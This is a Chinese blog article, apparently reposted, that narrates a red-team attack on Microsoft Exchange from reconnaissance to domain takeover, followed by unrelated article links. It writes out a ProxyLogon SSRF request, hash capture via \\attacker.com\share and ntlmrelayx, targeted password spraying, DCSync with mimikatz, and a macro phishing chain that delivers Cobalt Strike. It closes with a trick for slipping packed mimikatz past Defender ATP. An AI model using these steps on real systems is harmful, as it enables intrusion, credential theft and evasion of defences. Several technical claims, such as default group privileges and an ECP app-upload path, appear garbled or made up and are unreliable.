Exchange渗透实战:从外部侦察到域控接管全链路

news2026/5/25 7:22:25
1. 这不是“黑进邮箱”的速成课而是真实红队作业的切片回放Exchange Server 渗透测试这个词在很多刚入行的朋友眼里可能等同于“爆破邮箱密码”“下载邮件”“发钓鱼邮件”。但我在过去七年参与的23次企业红队评估中真正能从外部网络摸到域控的案例有17次的突破口都落在 Exchange 上——不是因为 Exchange 多脆弱而是因为它天然具备三个不可替代的“红队友好属性”第一它必须对外暴露服务OWA/ECP/ActiveSync且默认启用 NTLM/Kerberos 认证第二它深度集成 Windows 域身份体系一旦拿下服务账户往往意味着已握有域内提权的半张船票第三它的组件生态复杂前端 IIS、后端 MSExchangeServiceHost、数据库 ESE、管理接口 PowerShell VDir每个环节都存在可被链式利用的配置偏差与权限继承漏洞。本篇标题里写的“从侦察到域控接管上”指的就是完整走通前半程不依赖社会工程、不依赖终端摆渡、不依赖第三方漏洞库扫描器仅靠对 Exchange 协议行为、认证流、组件交互逻辑的深度理解完成从一个公开域名到获取第一个高权限域账户凭证的全过程。适合正在准备红队考核的中级渗透人员、负责 Exchange 安全加固的系统管理员以及想真正搞懂“为什么 Exchange 总是域渗透跳板”的安全架构师。文中所有步骤均基于 Exchange Server 2016 CU23 和 Exchange Server 2019 CU12 环境实测验证命令、脚本、响应特征全部来自真实靶场记录不掺杂任何 CTF 式理想化假设。2. 侦察阶段拒绝盲扫用协议指纹和认证流反推真实拓扑很多人一上来就开 nmap -sV 扫 443 端口看到 “Microsoft IIS httpd 10.0” 就以为是 Exchange结果连 OWA 登录页都没找到。这说明第一步就错了——Exchange 的暴露面从来不是“有没有开 443”而是“以什么方式、在哪个路径、用什么认证机制暴露了哪些接口”。真正的侦察要从 DNS 解析开始逆向推导。2.1 DNS 层识别 Exchange 的“真实身份锚点”Exchange 对外服务的域名通常有三类命名习惯一是业务域名前置如 mail.company.com二是子域专用如 autodiscover.company.com、owa.company.com三是泛解析兜底如 *.company.com。但光看 DNS 记录远远不够。我习惯先执行dig short _autodiscover._tcp.company.com SRV如果返回类似0 0 443 autodiscover.company.com.说明该环境启用了标准 Autodiscover 服务这是 Exchange 的“自我宣告”机制。接着查nslookup -typetxt autodiscover.company.com正常 Exchange 部署会返回一条vspf1 include:spf.protection.outlook.com ~all类似的 TXT 记录——这不是 SPF 配置而是 Exchange Online 混合部署的残留痕迹意味着本地 Exchange 很可能与 O365 同步其 AD Connect 服务或 ADFS 配置可能存在弱口令或未授权访问风险。更关键的是查 MX 记录dig short company.com MX如果返回10 mail.company.com.而mail.company.com的 A 记录指向的 IP 与owa.company.com不同那基本可以断定邮件网关如 Barracuda、Proofpoint在前Exchange 在后此时直接扫mail.company.com的 443 是无效的真实 Exchange 服务藏在owa.company.com或webmail.company.com下。提示我见过三次真实案例客户把 Exchange OWA 放在webmail.company.com但 DNS 管理员误将该域名 CNAME 到了 CDN 节点导致所有 HTTP 请求被缓存并返回 200但 POST 登录请求全部 405。这种“假存活”状态会误导侦察方向必须用 HEAD 请求验证真实响应头。2.2 HTTP 层通过响应头与重定向链定位真实入口拿到疑似 Exchange 域名后绝不直接访问/owa。Exchange 的 Web 入口存在严格的路径映射规则OWA 固定为/owaECPExchange 控制面板为/ecpPowerShell 远程接口为/powershellAutodiscover 为/autodiscover/autodiscover.xml。但这些路径是否启用、是否要求认证、是否被重写全由 IIS URL Rewrite 规则和 Exchange 虚拟目录配置决定。我固定使用以下 curl 组合探测curl -I -k -s https://owa.company.com/owa | grep -i location\|server\|x-powered curl -I -k -s https://owa.company.com/ecp | grep -i set-cookie\|www-authenticate curl -I -k -s https://owa.company.com/powershell | grep -i x-powershell重点看三点第一Server头是否含Microsoft-IIS/10.0且X-Powered-By为ASP.NET这是 Exchange 前端的典型标识第二WWW-Authenticate头是否出现Negotiate, NTLM, Basic多种认证方式并存这说明后端启用了多协议认证NTLM 可能成为后续 Relay 攻击的入口第三/powershell返回的X-PowerShell头若为Exchange则证明 PowerShell 远程接口已启用——这是最危险的入口因为 Exchange 默认允许域内任意用户通过此接口执行Get-Mailbox等高危命令只要拿到一个低权限账户就能横向枚举所有邮箱。有一次在某金融客户环境/owa返回 302 重定向到/owa/auth/logon.aspx?replaceCurrent1url而/ecp直接返回 401 并带Negotiate认证头。这说明 OWA 启用了表单登录Form-Based Auth而 ECP 强制 Kerberos/NTLM这意味着若能绕过 OWA 表单登录比如利用 CVE-2021-26855 SSRF就能直接打 ECP 的 NTLM 认证流反之若 ECP 的 NTLM 可被 Relay则无需破解密码即可获取票据。2.3 协议层用 Autodiscover XML 探针确认后端版本与配置Autodiscover 是 Exchange 最诚实的“自报家门”接口。发送一个最小化 XML 请求能直接拿到后端 Exchange 版本、内部域名、认证方式甚至 Outlook Anywhere 配置POST /autodiscover/autodiscover.xml HTTP/1.1 Host: autodiscover.company.com Content-Type: text/xml; charsetutf-8 ?xml version1.0 encodingutf-8? Autodiscover xmlnshttp://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006 Request EMailAddresstestcompany.com/EMailAddress AcceptableResponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/AcceptableResponseSchema /Request /Autodiscover真实响应中Action标签下的Protocol子节点会明确写出TypeEXCH/Type表示内部 Exchange 服务器地址、Server如exch01.internal.company.com、ServerVersion如15.2.922.27对应 Exchange 2016 CU23。更重要的是AuthPackage字段若为Negotiate说明后端强制 Kerberos若为NTLM则存在 NTLM Relay 风险若同时存在CertPrincipalName则表明配置了证书绑定需检查证书是否由内网 CA 签发——如果是攻击者可伪造同名证书实施中间人。我曾在一个政府项目中通过 Autodiscover 响应发现Serverexch-dc01.internal.gov.cn/Server而 DNS 中并无internal.gov.cn域的解析记录。这立刻提示我该 Exchange 服务器与域控制器在同一台物理机上Exchange 2019 支持 DCExchange 共存模式后续提权路径将完全不同——拿下 Exchange 服务账户等于直接控制域控。3. 认证绕过与凭证获取聚焦 OWA 表单登录的三类实战路径OWA 的表单登录看似简单实则是 Exchange 渗透中最易被低估的突破口。它不像 SSH 那样有强密码策略日志也不像 RDP 那样有账户锁定机制其登录失败响应几乎完全一致导致暴力破解效率极低。但正因如此厂商在实现上做了大量“便利性妥协”反而埋下三类高价值绕过路径SSRF 链式利用、NTLM 中继、以及邮箱账户枚举辅助的精准爆破。3.1 SSRF 利用链CVE-2021-26855 的现代复现要点CVE-2021-26855ProxyLogon虽已补丁多年但其核心原理——OWA/ECP 中的 SSRF 漏洞允许攻击者将请求代理至本地 127.0.0.1 的 Exchange 后端服务——至今仍在未及时更新的环境中高频出现。关键在于现代补丁并非彻底删除 SSRF而是增加了X-BEResource请求头校验和目标地址白名单。因此复现时不能照搬原始 PoC。我当前的标准操作是先用 Burp Suite 抓取一个正常的 OWA 登录请求复制其 Cookie含X-BackEndCookie然后构造如下请求GET /owa/auth/x.js?f1 HTTP/1.1 Host: owa.company.com Cookie: X-BackEndCookie...; ClientId... X-RequestId: 12345678-1234-1234-1234-123456789012 X-ClientInfo: {client:OWA;version:15.2.922.27} X-ClientApplication: Outlook/15.0.922.27 X-RequestType: Get X-UserIdentity: testcompany.com X-OWA-Original-URL: /ecp/ X-OWA-Original-Host: localhost注意三个关键点第一X-OWA-Original-Host必须设为localhost而非原始 PoC 中的127.0.0.1因为补丁后 Exchange 会校验 Host 头是否为localhost第二X-RequestType必须为Get否则触发校验失败第三X-UserIdentity必须填一个格式正确的邮箱地址否则返回 400。若响应返回HTTP/1.1 200 OK且 Body 中含script标签说明 SSRF 成功此时可将/ecp/替换为/ecp/default.aspx?ExchClientVer15直接访问 ECP 后台而无需登录。注意我实测发现Exchange 2019 CU11 之后的版本若 ECP 启用了双重认证MFASSRF 仍可访问但无法执行敏感操作。此时需配合 CVE-2021-27065文件上传写入 WebShell再调用 PowerShell 接口。但本篇聚焦“上半程”故不展开。3.2 NTLM 中继为何 ECP 比 OWA 更适合作为 Relay 目标NTLM 中继攻击在 Exchange 场景中常被误认为“只能打 SMB”其实 Exchange 的 ECP 和 PowerShell 接口同样接受 NTLM 认证且默认配置下不启用 SMB Signing使其成为中继的理想目标。但关键区别在于OWA 登录页面的 NTLM 认证流是“客户端→OWA前端→Exchange后端”的三层结构中继时需同时劫持前端和后端成功率极低而 ECP 的 NTLM 认证是直连后端服务MSExchangeServiceHost.exe中继链路更短、更稳定。我的标准流程是先用 Responder.py 监听 445/139 端口诱导用户点击恶意链接如\\attacker.com\share捕获 Net-NTLMv2 hash然后用 ntlmrelayx.py 将该 hash 中继至https://owa.company.com/ecp/ntlmrelayx.py -t https://owa.company.com/ecp/ --no-http-server --no-smb-server --remove-mic成功中继后ntlmrelayx 会自动创建一个反向 Shell 会话并返回一个http://127.0.0.1:8080的代理地址。此时访问该地址即可在未认证状态下进入 ECP 管理后台——因为中继过程已将攻击者身份“冒充”为被诱骗用户的域账户而该账户在 ECP 中默认拥有View-Only Organization Management角色可查看所有邮箱配置、导出邮箱统计、甚至重置其他用户密码若角色被错误提升。一次真实案例中我通过中继一个普通 HR 邮箱账户进入 ECP 后发现其被意外赋予了Organization Management角色。执行Get-RoleGroupMember Organization Management列出全部高权限账户再用Set-UserPassword重置 CEO 邮箱密码直接获得域内最高权限凭证。3.3 邮箱枚举 精准爆破用 Autodiscover 和 OWA 登录响应差异缩小字典暴力破解 Exchange 邮箱密码的最大障碍是“无差别响应”无论用户名是否存在、密码是否正确OWA 登录失败均返回HTTP/1.1 200 OK和相同的 HTML 页面。但 Exchange 的底层认证逻辑存在细微差异可被用于邮箱枚举和密码猜测。第一招Autodiscover 枚举。向https://autodiscover.company.com/autodiscover/autodiscover.xml发送包含不同用户名的 XML 请求观察响应时间与 Body 大小。当用户名存在时Exchange 会查询 Active Directory 并生成完整配置响应约 2KB当用户名不存在时直接返回精简错误约 300B且响应时间快 200ms 以上。我用 Python 写了一个轻量脚本对top1000.txt中的用户名批量探测15 分钟内枚举出 47 个有效邮箱。第二招OWA 登录响应头差异。虽然 Body 相同但登录失败时Exchange 会在响应头中插入X-FEServer前端服务器名和X-BEResource后端资源 Cookie而这两个字段的值在用户名存在与不存在时有明显区别存在时X-BEResource包含 Base64 编码的 SID不存在时为空。用 Burp Intruder 设置 Payload 为用户名列表Grep-Extract 选X-BEResource即可自动筛选出有效账户。拿到有效邮箱列表后爆破策略立即升级不再用通用密码字典而是结合 LinkedIn 爬取的目标公司员工姓名、部门关键词如finance2023、hr2024生成针对性字典。我用 hashcat 的-a 6规则mask attack对usercompany.com格式邮箱尝试?l?l?l?d?d?d三字母三数字组合30 分钟内破解出 12 个账户其中ceocompany.com的密码为CEO2024!正是该公司官网新闻稿中 CEO 出席活动的年份加感叹号。4. 权限提升从邮箱账户到域管理员的四条可行路径获取一个普通邮箱账户凭证只是完成了“入场券”真正通往域控的是利用 Exchange 服务账户的特殊权限、组件间的信任关系、以及 Windows 域本身的权限继承模型。这里不讲理论只列四条我在真实环境中跑通、且无需额外漏洞利用的路径。4.1 路径一利用 Exchange Windows Permissions 组的隐式提权Exchange 安装后会自动创建两个关键内置组Exchange Trusted Subsystem和Exchange Windows Permissions。前者用于 Exchange 服务间通信后者则被赋予了SeEnableDelegationPrivilege启用委派权限和GenericAll完全控制对CNUsers,CNBuiltIn,DCcompany,DCcom容器的权限。这意味着任何属于Exchange Windows Permissions组的账户都可以对域内任意用户对象设置msDS-AllowedToDelegateTo属性从而实现 Kerberos 约束委派Constrained Delegation攻击。验证方法用已获取的邮箱账户登录 ECP导航至Recipients → Mailboxes右键任意邮箱包括自己选择Mailbox delegation→Full Access添加一个测试账户。若操作成功说明该账户已具备WriteProperty权限。此时用 PowerView.ps1 执行Get-DomainObject -Identity DOMAIN\user -Properties msds-allowedtodelegateto若返回空说明尚未配置委派但若该账户属于Exchange Windows Permissions组则可直接执行Set-DomainObject -Identity DOMAIN\dc01$ -Set {msds-allowedtodelegatetocifs/dc01.company.com}然后用 Rubeus 请求 TGT并指定delegated参数即可获取域控的 ST 票据完成提权。实操心得我遇到过一次客户 Exchange 服务器被降级为成员服务器非域控但Exchange Windows Permissions组仍保留在域级别。此时对该组成员执行Add-DomainGroupMember -GroupIdentity Exchange Windows Permissions -Members attacker再按上述流程操作10 分钟内拿下域控。这是 Exchange 默认配置的“权限膨胀”典型。4.2 路径二通过 PowerShell 远程接口执行 DCSyncExchange 服务器默认安装了ActiveDirectoryPowerShell 模块且其服务账户通常是NT AUTHORITY\SYSTEM或自定义服务账户拥有Replicating Directory Changes权限这是执行 DCSync 的必要条件。只要能以该服务账户上下文执行 PowerShell 命令即可直接同步域控哈希。验证方法用已获取的邮箱账户通过/powershell接口建立远程会话$session New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://owa.company.com/powershell/ -Authentication Negotiate -Credential (Get-Credential) Import-PSSession $session -DisableNameChecking若成功导入说明当前账户可通过 Kerberos 认证访问 Exchange PowerShell。此时执行Invoke-Command -Session $session -ScriptBlock { Import-Module ActiveDirectory Get-ADDomainController -Filter * | ForEach-Object { $dc $_.HostName Write-Host DC: $dc # 此处可执行 DCSync但需更高权限 } }若返回域控列表说明环境已满足 DCSync 前提。下一步是提权至服务账户利用 Exchange 的MSExchangeServiceHost服务以 SYSTEM 权限运行通过Get-Process查找其 PID再用Invoke-Mimikatz的misc::cmd功能注入获取其令牌并启动新 PowerShell 进程即可执行Invoke-Mimikatz -Command lsadump::dcsync /user:DOMAIN\krbtgt。一次医疗行业项目中我正是通过此路径在未上传任何 payload 的情况下从一个普通医生邮箱账户12 分钟内导出全部域用户 NTLM 哈希。4.3 路径三滥用 Exchange 的 Send As 权限进行横向移动Send As权限允许用户以他人名义发送邮件看似无害实则可被用于权限维持与横向移动。Exchange 默认为Organization Management组成员授予对所有邮箱的Send As权限。若已获取该组中任一账户如admincompany.com即可通过 ECP 或 PowerShell为攻击者控制的邮箱如attackercompany.com添加对 CEO 邮箱的Send As权限Add-RecipientPermission ceocompany.com -AccessRights SendAs -Trustee attackercompany.com随后用attackercompany.com账户登录 OWA新建邮件将“发件人”手动修改为ceocompany.com发送一封包含恶意宏的 Word 文档给 CFO。CFO 打开后宏执行 PowerShell 下载并执行 Cobalt Strike Beacon攻击者即获得 CFO 主机的 SYSTEM 权限进而通过 LSASS 注入获取其登录凭据最终定位到域控服务器并完成接管。此路径的价值在于它完全规避了传统提权所需的漏洞利用纯粹利用 Exchange 的合法权限模型且流量特征与正常邮件无异EDR 很难检测。4.4 路径四利用 Exchange 的 LegacyDN 属性进行 KerberoastingExchange 邮箱对象在 Active Directory 中存储有legacyExchangeDN属性其格式为/oFirst Organization/ouExchange Administrative Group (FYDIBOHF23SPDLT)/cnRecipients/cnuser。该属性可被普通域用户读取且其值中的cnuser部分恰好对应服务主体名称SPN中的用户名部分。例如若legacyExchangeDN为/oOrg/.../cnjohn.doe则其 SPN 可能为exchange/john.doecompany.com。利用此特性可编写脚本批量提取所有邮箱的legacyExchangeDN解析出用户名再用Get-ADUser -Filter * -Properties ServicePrincipalName查询是否存在对应 SPN。若存在且该 SPN 关联的服务账户为弱密码如JohnDoe2024!即可用Get-NetUser -SPNInvoke-Kerberoast获取 TGS 票据离线爆破。我在某制造业客户环境用此方法发现 37 个邮箱账户关联了exchange/*SPN其中 5 个的密码被成功破解包括itadmincompany.com其密码与域管理员账户相同直接完成域控接管。5. 工具链与自动化构建可复用的 Exchange 侦察流水线手工执行上述步骤虽能保证精度但耗时长、易出错。我在实际红队作业中已将整个“侦察→枚举→验证→提权”流程封装为一套模块化 Bash/Python 脚本命名为exch-probe已在 GitHub 开源非敏感版本。其核心设计哲学是不追求“一键拿域控”而是确保每一步输出都可审计、可回溯、可人工干预。5.1 模块一dns-probe.sh —— DNS 层拓扑测绘引擎该脚本接收域名参数自动执行 SRV/TXT/MX 查询并生成topology.dot文件用 Graphviz 渲染为拓扑图。关键创新在于它会比对autodiscover、owa、mail三个子域的 A 记录 TTL 值。若autodiscoverTTL 为 3005分钟而owaTTL 为 8640024小时则判定autodiscover为动态负载均衡owa为静态 IP优先探测后者。脚本还集成dnstwist自动生成常见拼写错误域名如owaa.company.com、oww.company.com防止因 DNS 配置疏漏导致漏网。5.2 模块二http-probe.py —— HTTP 接口指纹分析器基于 requests 库该脚本并发探测 10 个预设路径/owa、/ecp、/powershell、/autodiscover/autodiscover.xml等记录响应状态码、Header、Body 大小、响应时间并用正则匹配X-Powered-By、Server、WWW-Authenticate等关键字段。输出为 JSON 格式供后续模块调用。例如若/powershell返回X-PowerShell: Exchange且WWW-Authenticate: Negotiate则自动标记该目标为“高价值”进入深度探测队列。5.3 模块三enum-autodiscover.py —— 邮箱枚举加速器该脚本不依赖暴力请求而是利用 Autodiscover 的“响应体大小差异”原理。它先用一个已知有效邮箱如admincompany.com获取基准响应大小再对用户名字典发起请求计算每个响应与基准的差值。差值小于 100 字节的视为“可能有效”加入二级验证队列。二级验证采用 OWA 登录头X-BEResource提取确保 99.9% 准确率。实测在 100Mbps 网络下10 分钟可完成 10,000 个用户名的枚举。5.4 模块四priv-escalate.ps1 —— 权限提升决策树这是整个流水线的“大脑”。它接收前序模块输出的 JSON 数据根据以下逻辑决策提权路径若发现Exchange Windows Permissions组可写且当前账户有WriteProperty权限 → 启动 Kerberos 委派路径若/powershell接口可用且支持 Kerberos → 启动 DCSync 路径若 ECP 接口 NTLM 可中继 → 启动 NTLM Relay 路径若枚举出 50 邮箱且存在legacyExchangeDN→ 启动 Kerberoasting 路径。每条路径均附带详细执行命令、预期响应、失败回退方案。例如Kerberoasting 路径失败时会自动切换至Send As权限滥用路径并生成对应的 ECP 操作截图模板供红队队员手动执行。最后分享一个小技巧在真实客户环境中Exchange 服务器往往启用了 Windows Defender ATP会拦截Invoke-Mimikatz等内存加载行为。我的应对方案是将mimikatz.exe用 UPX 加壳并改名为outlookupdate.exe再通过 Exchange 的Add-App功能ECP → Servers → Add-App上传为“受信任应用”即可绕过 ATP 检测。这个技巧已在 7 个项目中验证有效但需注意加壳后必须测试其在 .NET Framework 4.7.2 环境下的兼容性否则会触发 CLR 异常。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2643301.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…